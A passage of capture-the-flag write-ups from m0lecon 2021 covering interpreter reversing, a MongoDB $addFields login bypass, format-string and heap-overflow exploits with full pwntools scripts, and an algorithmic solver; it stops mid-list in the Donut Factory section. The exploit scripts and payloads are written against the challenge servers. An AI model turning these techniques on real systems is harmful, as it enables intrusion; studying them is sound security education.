After that we can access the admin's posts and find the flag as post title: ptm{m4k3_CSP_r3ports_gr3a7_4gain!}

Molang (5 solves, 406 points)

by JaGoTu

A friend of mine developed this brand new interpreter, do you want to play with it?

Author: matpro

We get a chall file:

$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=15a0d9198a5ce75bb5b39e0197e3c64b71ec137e, not stripped

When running it, we get a REPL shell of m0lang:

$ ./chall
m0lang 0.1 (May 14 2021, 19:00:00)
Type 'help "<command>"' or 'help <value>' for more information.
m0lang> help
[line 2] Error at end: Expect expression.
m0lang> flag;
8GG8!d8W88ݫe!88ѫd5ˉ5G
m0lang>

After a while of staring into IDA, I recognized that the interpreter is a modified version of the clox interpreter from the Crafting interpreters book (source available on Github). I got lucky, as I read the book as part of preparations for my bachelor's thesis, but even if you never heard about it, it is always a good idea to try to google for some error messages in the binary, in case it's a modified open source project. For example here searching for the Can't read local varaible in its own initializer. error message would lead you directly to the project, with the varaible typo intact, which is a good indicator that it's based on clox.

Once I knew that, I started renaming procedures and creating structures in IDA based on the clox source code. clox works by parsing the raw source, compiling it into bytecode and then executing such bytecode. One of the added features to molang were the flag and help features, so these had to be parsed somewhere. A function called identifierType() is responsible for parsing reserved words using a trie-like code:

TokenType __fastcall identifierType()
{
  TokenType result; // eax
  int v1; // eax
  int v2; // eax

  switch ( *scanner.start )
  {
    case 'a':
      result = checkKeyword(1, 2, &unk_91E4, TOKEN_AND);
      break;
    case 'c':
      result = checkKeyword(1, 4, "lass", TOKEN_CLASS);
      break;
    case 'e':
      result = checkKeyword(1, 3, "lse", TOKEN_ELSE);
      break;
    case 'f':
      if ( scanner.current - scanner.start <= 1 )
        goto LABEL_32;
      v1 = *((char *)scanner.start + 1);
      if ( v1 == 'l' )
      {
        result = checkKeyword(2, 2, "ag", TOKEN_FLAG);
      }
      else if ( v1 > 108 )
      {
        if ( v1 == 'o' )
        {
          result = checkKeyword(2, 1, "r", TOKEN_FOR);
        }
        else
        {
          if ( v1 != 'u' )
            goto LABEL_32;
          result = checkKeyword(2, 1, "n", TOKEN_FUN);
        }
      }
      else
      {
        if ( v1 != 'a' )
          goto LABEL_32;
        result = checkKeyword(2, 3, "lse", TOKEN_FALSE);
      }
      break;
    case 'h':
      result = checkKeyword(1, 3, "elp", TOKEN_HELP);
      break;
    /*
    shortened, you get the point
    [...]
    */
    case 'v':
      result = checkKeyword(1, 2, "ar", TOKEN_VAR);
      break;
    case 'w':
      result = checkKeyword(1, 4, "hile", TOKEN_WHILE);
      break;
    default:
LABEL_32:
      result = TOKEN_IDENTIFIER;
      break;
  }
  return result;
}

Using the code we can resolve flag and help to TOKEN_FLAG = 0x16 and TOKEN_HELP = 0x27 enemurable values respectively.

Now, where are those tokens compiled? In statement():

void __fastcall statement()
{
  if ( (unsigned __int8)match_token(TOKEN_PRINT) )
  {
    printStatement();
  }
  else if ( (unsigned __int8)match_token(TOKEN_FOR) )
  {
    forStatement();
  }
  else if ( (unsigned __int8)match_token(TOKEN_IF) )
  {
    ifStatement();
  }
  else if ( (unsigned __int8)match_token(TOKEN_RETURN) )
  {
    returnStatement();
  }
  else if ( (unsigned __int8)match_token(TOKEN_WHILE) )
  {
    whileStatement();
  }
  else if ( (unsigned __int8)match_token(TOKEN_HELP) )
  {
    helpStatement();
  }
  else if ( (unsigned __int8)match_token(TOKEN_FLAG) )
  {
    flagStatement();
  }
  else if ( (unsigned __int8)match_token(TOKEN_LEFT_BRACE) )
  {
    beginScope();
    block();
    endScope();
  }
  else
  {
    expressionStatement();
  }
}

Both flagStatement() and helpStatement() are simple functions:

__int64 flagStatement()
{
  consume(TOKEN_SEMICOLON, (__int64)"Expect ';' after command.");
  return emitByte(0xEu);
}

__int64 helpStatement()
{
  expression();
  consume(TOKEN_SEMICOLON, (__int64)"Expect ';' after value.");
  return emitByte(0x19u);
}

So we are dealing with 2 new instructions, 0xE for flag and 0x19 for help. Looking into run(), we can locate the handlers for those opcodes:

    case 0xEu:
        printFlag();
        putchar(10);
        continue;
    /* [...] */
    case 0x19u:
        v104 = pop();
        v0 = *(double *)&v105;
        get_help_for_primitive(v104, v105);
        putchar(10);
        continue;

Digging deeper:

void printFlag()
{
  do_printflag();
}


void __fastcall do_printflag()
{
  decode(qword_20CC40);
}

void __fastcall get_help_for_primitive(int a1, __int64 a2)
{
  if ( a1 == 1 )
  {
    printf("A nil.");
  }
  else if ( a1 )
  {
    if ( a1 == 2 )
    {
      printf("A number.");
    }
    else if ( a1 == 3 )
    {
      get_help_complex(3LL, a2);
    }
  }
  else
  {
    printf("A boolean.");
  }
}

void __fastcall get_help_complex(__int64 a1, __int64 a2)
{
  char dest[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  switch ( *(_DWORD *)a2 )
  {
    case 0:
      printf("A bound method.");
      break;
    case 1:
      printf("A class.");
      break;
    case 2:
      printf("A closure.");
      break;
    case 3:
      printf("A function.");
      break;
    case 4:
      printf("An instance.");
      break;
    case 5:
      printf("A native function.");
      break;
    case 6:
      strncpy(dest, *(const char **)(a2 + 24), 0x1EuLL);
      if ( !strcmp(dest, "and") )
      {
        decode(qword_20C460);
      }
      else if ( !strcmp(dest, "class") )
      {
        decode(qword_20C4D0);
      }
      else if ( !strcmp(dest, "else") )
      {
        decode(qword_20C540);
      }
      /* [...] */
      else if ( !strcmp(dest, "while") )
      {
        decode(qword_20CB60);
      }
      else if ( !strcmp(dest, "help") )
      {
        decode(qword_20CBD0);
      }
      else
      {
        printf("A string.");
      }
      break;
    case 7:
      printf("An upvalue.");
      break;
    default:
      return;
  }
}

We see that help for strings and flag both use the decode() function to decode a message. Jumping to XREFs, the used qwords are populated by refresh(), which is called at the begginning of run() (so for each chunk) - the refresh() function is long and uninteresting, just moving a bunch of qword constants. I decided to get the values dynamically with gdb:

pwndbg> dump binary memory dump.bin 0x55555560c460 0x55555560cca0

Now let's reimplement the decode() function in python:

void __fastcall decode(char *a1)
{
  unsigned int i; // [rsp+14h] [rbp-7FCh]
  int len; // [rsp+18h] [rbp-7F8h]
  char mul1; // [rsp+1Ch] [rbp-7F4h]
  char add1; // [rsp+20h] [rbp-7F0h]
  char add2; // [rsp+24h] [rbp-7ECh]
  char add3; // [rsp+28h] [rbp-7E8h]
  char add4; // [rsp+2Ch] [rbp-7E4h]
  char v8[1008]; // [rsp+30h] [rbp-7E0h] BYREF
  char src[1000]; // [rsp+420h] [rbp-3F0h] BYREF
  unsigned __int64 v10; // [rsp+808h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  len = (unsigned __int8)*a1;
  mul1 = a1[1];
  add1 = a1[2];
  add2 = a1[3];
  add3 = a1[4];
  add4 = a1[5];
  for ( i = 0; len > i; ++i )
  {
    src[i] = a1[i + 6];
    a1[i + 6] = src[i] * (src[i] * (add2 + src[i] * (add1 + mul1 * src[i])) + add3) + add4;
    v8[i] = a1[i + 6];
  }
  strncpy(a1 + 6, src, 0x6AuLL);
  printf("%s", v8);
}
with open('dump.bin', 'rb') as f:
    data = f.read()

def decode(offset):
    inp = data[offset:]
    len = inp[0] & 0xFF
    mul1 = inp[1]
    add1 = inp[2]
    add2 = inp[3]
    add3 = inp[4]
    add4 = inp[5]
    result = []
    for i in range(len):
        tmp = inp[i+6]
        result.append((tmp * (tmp * (add2 + tmp * (add1 + mul1 * tmp)) + add3) + add4) & 0xFF)

    return bytes(result)


for i in range(0,len(data),0x70):
    print(decode(i))

Running this we get suspicious output:

$ python3 decode.py
b'Logical AND operation.\x00'
b'A class, have you ever heard of OOP?\x00'
b'What to do if the previous condition is not satisfied.\x00'
b'A boolean value, which is not true.\x00'
b'The command to print the flag.\x00'
b'A for loop, like a whhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh'
b"AHAHAHAHAH\nNo wait, it's a function.\x00"
b'Basic keyword for conditional programming.\x00'
b'Nothing to say.\x00'
b'Logical OR operation.\x00'
b'How to display something.\x00'
b'How to pass something to the previous function.\x00'
b"No, it's not a hero.\x00"
b'Not that.\x00'
b'A boolean value, which is not false.\x00'
b'A variable... Do you know how to code?\x00'
b"It's a while loop.\x00"
b'Really? You need help for help?\x00\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tQ\x80D\xce\xd9\xc1\xa9\x9dh*Uh*U\xc9\x9ddU\xb3A\xa0>\x87U\xa5\xc9\xac\xb2\x1a\x89{6\xd46\x7f\xea\x89AA\xf86\xf0{\xc9\xea\x7f\xa5\x7fd\xc96\xa9\x9dh\xb46\xb3A\xa0>\x16<\x01U{FNU\xf8F\xf4U\x1a\xa0{U*\xf4\xef\xach\xc9Uh\xc9`5\t\t\t\t\t\t'
b'8\x88\xedG\x88\xedG\x888\x88!\x88d\xf85\xa3\x94\x88\x088\x19\xffW8\xa4\xab\xb1\xab\x94\x878\xf8\xf8\xdd\xabe\xa48\x87\x94\x08\x94!8\xab8\x88\xed\xd1\xabd\xf85\xa3\xcb\x89\xf8\x88\xa4\x1b\x13\x88\xdd\x1b\x91\x88W5\xa4\x88G\x91'

Notice how the help for help is way too long when going by the internal length? It must overflow into the encoded string for flag! The encoded messages are restored/refreshed only once per code chunk, so after running help "help"; the encoded message for flag will be corrupted. Maybe it's intended?

Let's try to run the following program:

fun test()
{
    help "help";
    flag;
}

test();
$ ./donut test.txt
Really? You need help for help?
This is the flag: ptm{c4n_U_r34lly_1nt3rpret_Thi5_flag?}, now you can submit it!

BINGO, we got the flag!

Lucky-Fall (95 solves, 76 points)

by JaGoTu

Are you a lucky user?

Author: 0000matteo0000

We are given a link to a website that shows a funny "lucky user" and has a login box.

Website screenshot WreckTangle? Is that predicting another team merge?!

The login requests looks like this:

POST /login HTTP/1.1
Host: lucky-fall.challs.m0lecon.it
Content-Length: 31
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/json
Origin: http://lucky-fall.challs.m0lecon.it
Referer: http://lucky-fall.challs.m0lecon.it/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"name":"abc","password":"def"}

Luckily, the server has detailed exceptions enabled, so we can leak bits of the source code.

Posting {}:

Traceback (most recent call last):
  File "/home/appuser/mongo_in/flask/server.py", line 38, in login
    user = users.aggregate([{"$match": {"user": request.json["name"]}}, {"$addFields": request.json}]).next()
KeyError: 'name'

Posting {"name":"admin"}:

Traceback (most recent call last):
  File "/home/appuser/mongo_in/flask/server.py", line 39, in login
    if hashlib.sha256((user["password"] + user["salt"]).encode("UTF-8")).hexdigest() == user["hash"]:
KeyError: 'password'

The $addfields is very suspicious, it means that we find (match) a user with the provided name and then merge the fields of this item with all items from the request.json. That means that we can simply ovewrite the salt and hash values:

POST /login HTTP/1.1
Host: lucky-fall.challs.m0lecon.it
Content-Length: 127
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/json
Origin: http://lucky-fall.challs.m0lecon.it
Referer: http://lucky-fall.challs.m0lecon.it/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
    "name":"admin",
    "hash":"eb44e5c1ed8fef20aa3af1a1d737cc4094a31823d087ccb5d681ab96b6e2ff3e",
    "salt":"",
    "password":"kekeke"
}
HTTP/1.1 200 OK
Content-Length: 45
Content-Type: text/html; charset=utf-8
Date: Fri, 14 May 2021 17:20:50 GMT
Server: gunicorn
Connection: close

ptm{it_is_nice_to_have_objects_as_parameters}

Yet Another Login (19 solves, 225 points)

by FeDEX

Just another another simple login bypass challenge.

nc challs.m0lecon.it 5556

Author: Alberto247

This challenge is similar to the "Another Login" challenge, the only difference is that the seed is cleared from the stack and there is no way we can leak it anymore. In this case, we need to think of another trick in order to bypass the login. Given that the input size is quite short (19 bytes) wee don't have the comfort to overwrite pointers and corrupt values on the stack as this approach would be too long. Thus, the technique we can up with is to use * trick which would allow us to take the padding length from the stack and when we can write it in the sum variable thus bypass all conditions. So, we just need to send 16 times the following payload: %*11$c%*9$c%8$n

from pwn import remote #pip install pwntools
from hashlib import sha256

def solvepow(p, n):
    s = p.recvline()
    starting = s.split(b'with ')[1][:10].decode()
    s1 = s.split(b'in ')[-1][:n]
    i = 0
    print("Solving PoW...")
    while True:
        if sha256((starting+str(i)).encode('ascii')).hexdigest()[-n:] == s1.decode():
            print("Solved!")
            p.sendline(starting + str(i))
            break
        i += 1

def exploit(p):
    #p.interactive()
    for i in range(16):
        p.recvuntil("Give")
        print(p.recvline())
        p.sendline("%*11$c%*9$c%8$n")
    print("Got shell!")
    p.interactive()

if __name__ == '__main__':
    p = remote('challs.m0lecon.it', 5556)
    solvepow(p, n = 5)
    exploit(p)
  • flag: ptm{N0w_th1s_1s_th3_r34l_s3rv3r!}

Another Login (29 solves, 160 points)

by FeDEX

Just another simple login bypass challenge.

nc challs.m0lecon.it 1907

Author: Alberto247

We are presented a binary and a remote end:

$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7d6890a38b10cab434c876854ab80f742d3abf77, for GNU/Linux 3.2.0, not stripped

Reversing the binary is pretty straight forward. The binary reads 4 random bytes from /dev/urandom and uses them to initiate srandom(). After that, the binary proceeds to generate 15 times one pair of number: public | private. We are asked to provide the sum of the pair.

However, due to the fact that the program has unsanitized output formating, we can leak the seed from the stack using this vulnerability and then precalculate all pairs of numbers:

if __name__ == "__main__":

    from hashlib import sha256
    from binascii import unhexlify
    import re
    from itertools import product

    while 1:
        
        ######################################## POW

        p = remote(remote_server, PORT)

        ret = p.recvline().strip().decode()
        prefix, suffix = re.findall(r"Give me a string starting with (.+) such that its sha256sum ends in (.+).", ret)[0]

        for i_list in product(list(range(32, 128)), repeat=5):
            c_list = list(map(chr, i_list))
            tmp = prefix + "".join(c_list)
            tmp_hash = sha256(tmp.encode()).hexdigest()
            if tmp_hash[-5:] == suffix:
                print "found!"
                p.sendline(tmp)
                break
        else:
            print "not found..."

        ######################################## EXPLOIOT

        p.recvline()

        p.recvuntil('Give me the 1 secret, summed to')
        looking = p.recvline().strip().replace('!','')
        print 'Value now is >>',looking,'<<'

        payload = '%21$p' # leak seed from stack
        payload += '%172c' # 
        payload += '%8$n' # put value 190 at int_input

        p.sendline(payload)

        data = p.recvline()
        data = p.recvline()
        print 'SEED=', data[2:10] 

        seed = int('0x'+data[2:10],16)

        libc_native.srand(seed)
        caca = libc_native.rand() % 255
        print 'GENERATED I got',libc_native.rand() % 8 + 2,caca

        if 'NOPE' in p.recvline():
            p.close()
            continue
        else:
            print 'MATCH!!!'
            # gdb.attach(p)
            
        for i in range(15):
            val1 = libc_native.rand() % 256
            val2 = libc_native.rand() % 8 + 2
            p.sendline('%'+str(val1+val2)+'c' + '%8$n')

        # ============ GDB =========== #

        p.interactive()
  • flag: ptm{D1d_u_r3ad_th3_0per4t0r_m4nua1_b3f0re_l0gging_1n?}

Little-Alchemy (24 solves, 184 points)

by JaGoTu

Alchemy is a wonderful world to explore. Are you able to become a skilled scientist? We need your help to discover many mysterious elements!

nc challs.m0lecon.it 2123

Note: the flag is inside the binary, and clearly it is different on the remote server.

Author: FraLasa

We get a littleAlchemy file:

$ file littleAlchemy
littleAlchemy: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=88da1d6af339a52e2be34cd2085c7e1673ca813a, for GNU/Linux 3.2.0, not stripped

When running it, we get a simple element merging interface (newlines added for clarity):

$ ./littleAlchemy
Operations: [1]->Create_element [2]->Print_element [3]->Print_all [4]->Edit_element [5]->Delete_element [6]->Copy_name [7]->Exit
>1
in which position you want to create the new element: 1
index of source 1 element: [or -1 = Water, -2 = Fire, -3 = Air, -4 = Earth]: -1
index of source 2 element: [or -1 = Water, -2 = Fire, -3 = Air, -4 = Earth]: -4
[*] created River!

Operations: [1]->Create_element [2]->Print_element [3]->Print_all [4]->Edit_element [5]->Delete_element [6]->Copy_name [7]->Exit
>3
[1]: River

Operations: [1]->Create_element [2]->Print_element [3]->Print_all [4]->Edit_element [5]->Delete_element [6]->Copy_name [7]->Exit
>

There are multiple bugs in the binary, but we'll mention only those we used. The biggest one is in the Edit_element function, specifically in the Element::customizeName() function:

__int64 __fastcall Element::customizeName(Element *this)
{
  return std::operator>><char,std::char_traits<char>>(&std::cin, this->name);
}

This is a classical unlimited read (no length provided, this->name is a regular char*) allowing us to overflow the allocated element buffer. If we allocate two elements on the heap, we can overflow from the first into the second and corrupt its structure completely.

When a new element is made using Element::Element(ElementType type), its name is initialized by indexing a table of names (elementTable) using the element type. Here is the table as seen in IDA:

.data:00000000000060E0 ; char *elementName[9]
.data:00000000000060E0 elementName     dq offset aNop          ; DATA XREF: Element::Element(ElementType)+40↑o
.data:00000000000060E0                                         ; Element::Element(ElementType)+6E↑o
.data:00000000000060E0                                         ; "nop"
.data:00000000000060E8                 dq offset aWater        ; "Water"
.data:00000000000060F0                 dq offset aFire         ; "Fire"
.data:00000000000060F8                 dq offset aVapor        ; "Vapor"
.data:0000000000006100                 dq offset aAir          ; "Air"
.data:0000000000006108                 dq offset aNop          ; "nop"
.data:0000000000006110                 dq offset aSmoke        ; "Smoke"
.data:0000000000006118                 dq offset aNop          ; "nop"
.data:0000000000006120                 dq offset aEarth        ; "Earth"
.data:0000000000006128                 dq offset aRiver        ; "River"
.data:0000000000006130                 public flag
.data:0000000000006130 ; char *flag
.data:0000000000006130 flag            dq offset aPtmTheFlagIsHe
.data:0000000000006130                                         ; DATA XREF: Handler::Handler(void)+79↑r
.data:0000000000006130                                         ; Handler::Handler(void)+80↑r ...
.data:0000000000006130                                         ; "ptm{the flag is here!}"

Notice anything suspicious? A pointer to the flag happens to be just after elementTable. Therefore, if we manage to create an element with a type of 10, its name will be initialized to the flag, and we can simply print it.

We can only create new elements (and call the init function) by combining two elements. The 4 basic elements are marked as "primitive". Pseudocode of combining is like this:

new_type = ele1.type ^ ele2.type
if not new_type <= 9:
    bailout("not possible")
else if new_type != 0 or !ele1.is_primitive:
    create_element(new_type)
else:
    create_element(ele1.type)

Baiscally there is a special case that means that when you combine elements of the same type (and therefore new_type = type ^ type = 0), you get an instance of the old element and not a new one. So here I got an idea to simply use the heap overflow to craft an element with type of 10 (marked as primitive) and combine it with itself. That worked for crafting new elements with almost arbitrary types, but guess what: chr(10) = "\n", and therefore it was the only character I couldn't write, as it simply ended the cin input loop.

My second idea was that there's a lot of weird narrowing conversions, as sometimes the ElementType is a 64-bit int and sometimes just an 8-bit. The new_type <= 9 check does a signed check, so I used the overflow to craed an element of type 2 | (1 << 63) = -9223372036854775806.

Let's now merge that with Earth (type 8):

new_type = 8 ^ 0x8000000000000002 = 0x800000000000000A (=~ -9223372036854775798)

As the comparison uses it as a signed operand, -9223372036854775798 <= 9 is true. But later when the element is actually constructed, this is narrowed to 0x800000000000000A & 0xFF = 0x0A and we get an element of type 10, which should get named to flag.

The only missing detail for our full script is that I was getting a heap corruption error, as I corrupted the heap top. This is solved by simply allocating a bunch of random elements to move the top lower, so it's not corrupted.

Complete script:

from pwn import *
from hashlib import sha256

def solvepow(p, n):
    s = p.recvline()
    starting = s.split(b'with ')[1][:10].decode()
    s1 = s.split(b'in ')[-1][:n]
    i = 0
    print("Solving PoW...")
    while True:
        if sha256((starting+str(i)).encode('ascii')).hexdigest()[-n:] == s1.decode():
            print("Solved!")
            p.sendline(starting + str(i))
            break
        i += 1


def do_create(newpos, el1, el2):
    io.sendlineafter('>', '1')
    io.sendlineafter(':', str(newpos))
    io.sendlineafter(':', str(el1))
    io.sendlineafter(':', str(el2))

def get_name(pos):
    io.sendlineafter('>', '2')
    io.sendlineafter(':', str(pos))
    return io.recvline().strip()

def do_rename(pos, newname):
    io.sendlineafter('>', '4')
    io.sendlineafter(':', str(pos))
    io.sendlineafter(':', newname)


def do_delete(pos):
    io.sendlineafter('>', '5')
    io.sendlineafter(':', str(pos))  

def do_copy_name(src, dst):
    io.sendlineafter('>', '6')
    io.sendlineafter(':', str(src))
    io.sendlineafter(':', str(dst))

#io = remote('challs.m0lecon.it', 2123)
#solvepow(io, n = 5)
io = process('./littleAlchemy')
do_create(0, -1, -1)
do_create(1, 0, -4)
do_create(2, 0, -4)
do_create(3, 0, -4)
do_create(4, 0, -4)

do_rename(0, fit({
'iaaajaaa': p64(1), #is_primitive
'kaaalaaa': p64(2 | (1 << 63)), #type
}, length=128))

do_create(5, 1, -4)
print(get_name(5))
$ python3 alchemy.py
[+] Opening connection to challs.m0lecon.it on port 2123: Done
Solving PoW...
Solved!
b'ptm{vT4bl3s_4r3_d4ng3r0us_019}'
[*] Closed connection to challs.m0lecon.it port 2123

Solved! Given the flag text you were probably supposed to abuse vtables.

As closing words, my theory as to what the "intended" solution was in bullet points:

  • When the primitive elements are initialized, the water element is renamed to the flag.
  • Combined elements use a different (bigger) structure - they also store pointers to their source elements, and they have 16 more bytes for element name.
  • There is an unused ComposedElement::showSources() function which prints the source elements names. Calling it on anything made from the primitive Water would therefore print the flag.
  • In ElementHandler::copyName there is a bug: before copying the name, it only checks whether the source element is primitive or not, and copies based on that. If you copy from combined to primitive, you will overflow the name.

So if it was not for the unlimited overflow in renaming (if the cin read had proper bounds), I guess you should be able to use the copyName to corrupt a vtable pointer of an element in such a way that calling the destructor results in calling ComposedElement::showSources() and get the flag that way.

Left or right? (19 solves, 217 points)

by y011d4

Just follow your instinct. Are you going left or right?

nc challs.m0lecon.it 5886

Authors: Drago_1729, matpro, mr96

This challenge is algorithmic task.

Hello hacker! This challenge will test your programming skills.
I will give you some strings made up only by L and R. You start at a point O, L means moving to the left by 1 unit, R means moving to the right by 1 unit.
Your objective is to concatenate ALL these strings such that the leftmost point that you reach during your path is as near as possible to O.
Let's call this point P. What is the distance between O and P?

The first line of the input contains a number N.
The following N lines contain a string made up only of the characters L and R.
Your answer should be a non-negative integer.
In every testcase 0<N<=150 and the sum of the lengths of the given strings is at most 100000.
You must answer to 200 testcases to get the flag! Time limit is one second for each test.

Examples are:

4
LRLRLLRRRLLRLLRRRRLR
LRLRRLRLLRLLLRR
LRRLRLLLLLLLLLLRLRRLLLLRRLLLRRRL
LLLRLRLLR

First of all, we need to hold not all "LR" but:

  • the leftmost place from the current position (call it lr_diff_max)
  • the final place from the current position (call it last_pos)

for each string, where the left side is positive. For example above:

lr_diff_max: 2, 3, 12, 3
last_pos: -2, 1, 10, 1

Note that lr_diff_max >= last_pos.

In the following, we consider the case last_pos <= 0 and the other case separately.

last_pos <= 0

In this case, the last position will be on the right or the same. This is higher priority than the other case.

For each choice, we should pick the case of lr_diff_max <= ans (ans means the current answer for each task) because it won't affect the answer. If there are no such cases, choose the smallest lr_diff_max case in order to minimize the ans

last_pos > 0

After the all last_pos <= 0 cases are chosen, we go to this case. Considering the fact that the final position (call it all_last_pos) after all are selected doesn't change, we should pick the case of maximum lr_diff_max - last_pos in each choice, because naively the final ans equals to the final lr_diff_max - last_pos + all_last_pos.

The all script is as follow:

import re
from hashlib import sha256
from itertools import product

import numpy as np
from pwn import *

_r = remote("challs.m0lecon.it", 5886)
ret = _r.recvline().strip().decode()
prefix, suffix = re.findall(
    r"Give me a string starting with (.+) such that its sha256sum ends in (.+).", ret
)[0]

for i_list in product(list(range(32, 128)), repeat=4):
    c_list = list(map(chr, i_list))
    tmp = prefix + "".join(c_list)
    tmp_hash = sha256(tmp.encode()).hexdigest()
    if tmp_hash[-len(suffix):] == suffix:
        print("found!")
        _r.sendline(tmp)
        break

_r.sendlineafter("Time limit is one second for each test.\n", "")

for epoch in range(200):
    print(epoch)
    N = int(_r.recvline().strip())
    steps_list = []
    for _ in range(N):
        steps_list.append(_r.recvline().strip().decode())
    lr_diff_max_list_0 = []
    lr_diff_max_list_1 = []
    last_pos_list_0 = []
    last_pos_list_1 = []
    for steps in steps_list:
        lr_diff_max = 0
        tmp = 0
        for step in steps:
            if step == "L":
                tmp += 1
            else:
                tmp -= 1
            if tmp > lr_diff_max:
                lr_diff_max = tmp
        if tmp <= 0:
            lr_diff_max_list_0.append(lr_diff_max)
            last_pos_list_0.append(tmp)
        else:
            lr_diff_max_list_1.append(lr_diff_max)
            last_pos_list_1.append(tmp)

    lr_diff_max_list_0 = np.array(lr_diff_max_list_0)
    lr_diff_max_list_1 = np.array(lr_diff_max_list_1)
    last_pos_list_0 = np.array(last_pos_list_0)
    last_pos_list_1 = np.array(last_pos_list_1)

    ans = 0
    # case0: last_pos <= 0
    n_0 = len(lr_diff_max_list_0)
    used = [False] * n_0
    current_pos = 0

    for _ in range(n_0):
        found = None
        for i in range(n_0):
            if not used[i] and lr_diff_max_list_0[i] <= current_pos:
                found = i
                break
        if found is None:
            pos_min = 10 ** 10
            for i in range(n_0):
                if not used[i] and lr_diff_max_list_0[i] <= pos_min:
                    pos_min = lr_diff_max_list_0[i]
                    found = i
        assert found is not None
        used[found] = True
        ans = max(ans, current_pos + lr_diff_max_list_0[found])
        current_pos += last_pos_list_0[found]

    # case1: last_pos > 0
    argidx = np.argsort(lr_diff_max_list_1 - last_pos_list_1)[::-1]
    for idx in argidx:
        ans = max(ans, current_pos + lr_diff_max_list_1[idx])
        current_pos += last_pos_list_1[idx]
    _r.sendline(str(ans))
    if "Yay" not in _r.recvline().strip().decode():
        break
print(_r.recvall())

ptm{45_r16h7_45_p0551bl3}

Donut Factory (15 solves, 263 points)

by FeDEX

Come visit our factory to create your custom donuts!

nc challs.m0lecon.it 1743

Author: Alberto247

This challenge provided 2 files: donut binary and libc-2.31.so A simple menu based challenge with the options to:

  • Create donut
  • Delete donut
  • View donut
  • Buy Donut
  • Leave

Quickly reversing the program we can find unsanitized input for the Delete and View functionalities allowing us to perform the actions on arbitrary addresses.

The Delete method takes as input an address and frees it. The View method takes as input an address and prints a donut based on the first byte.

Following this, I was able to generate all donuts and save their hash in a table and then proceed to leak the libc pointer from a freed heap chunk.

hashes = ["244b8911aae2f329311f6d6511bb3c3c","9e12b4534de7339be7c1c550e42193f4","3517d5c190d9891461f855833686ce02","31f807fd73e342128428d0446620c3cb","e4140bf37897507a4baf6b5a679d9919","70dadc8a305d5594fe42a71785d5a97b","6c1f3bfceb82675c409eb3a9a173592f","27f3bee48c0f41f8fb494fcc8048e919","550fee47562795ebda1ea957e02bda0f","c7b22166c88a40eccfcf8732499e40d1","79a490bd8bc95a9e447f1af1f272f59a","0e793dd64dfb6eeaed878d9dcfa021e3","535e39e5e031961bacd91a1a3e7aaf38","74aecbca921511a0fef7b9db6767795d","df77b317a2ffd306893ca4395cfa2811","0f3c26437382ce2d5cbc253ecf912966","157461a3d1de9805c73b53c36c9d1925","a4bf483f8b958d05d78beadc80ea95a3","c1e90ac302441cdcef82528d318d298a","c59a0fdbec6e95ce8543fe2c0588b199","878f4d8961abb07585eec52242ac5054","1c3c336e76c9f6f4204239d7d68fc0c7","92b72832a439731509cb2b19c5063526","362ca530322fa159c7597a533372b3bc","8507b0c24546f5fc10ebecd26ab718b6","491a700da38fb98b6183e6c18d3296be","6b07a7b8416c7275c973158ddaa7357d","a14b87d441f3a7e52a647328d3a503d2","0a3910b8ac25ae8bbb6a03346b64f04c","9bf2dc4b520f698f5df821b6bdda0832","c36d65dc3f8cbdc199fcdbc78a6adff3","1dfafd64239861ec8976219bb0589351","756c4c95eef6cf127ca47d9c582ffee0","13e206ff982d36e82117d80b7a485aa9","2266c15194b98c647e243461abe42fe3","6ded8fdc2381cce1592f8d09a4a95c3d","b5487c60d1224434444bfd9236c709c7","e1ffb5c58845ffc368069f2a5b217bb5","b1875b40d0a3f4306f3f35203d4f6e47","f76a9c9f0d7acd77ceae43edc5162a5c","91717e87f382ec3643028b82da8c60c0","2fae081d73db99dc269da9bf1d9ecf01","4195d602e0c4b7c9940aaf9f72d3a73a","3b66601aee65402d5034a3b853e59aae","617196e86d4bcf9d7764f30f24734978","781609ffbae6bd53efba2f8bef9bf354","018e0f642cbd14fab3583b11d3503366","d06ad4593071eab0c7a64ffc62b74d61","8566c56cb71bbb4501b6d0f7c33ffcc7","336d9786cde6ea8995193084a1d9535f","2296a95a8d5ed3d6a4a2a5d44b9d8752","a5d41c4efc1668ccd6f13489ee0b6962","db8129e49e38831e955b51722a82e5e9","4dae69a5b462ac042c25bd36d6834c10","ab8ea2d6ab74277e057096ad221e1b1b","7a1b732c62c27e44d58aa5c8b94a89b8","e7776912cf2d73fe9c0ed71bace5468b","a08ba9655620bb8507da6439d64c8d43","a66e9a7140d86c5fb8ae912f432e298d","ee4e519a9c42a244621b16a02840d56f","9dd6f10f3ad48d0de2668e7b59818b7e","26a7195cff38401ec3a72b090bf50eaf","02fbe940ff64454bfd82de8a9b3626b9","61a65086a1da0342805f60b43ff0e03d","3f048d2ee699756f90530154808594ea","c3ad0b1059c7a0ed1254113b724591ad","522a994709b8fca96e5e981cabb655e5","aacd10c132ad192cfb94d3469dc35f24","f0d250a6a25cf33edbb19cc252899a19","408140dd3008b8da4b8378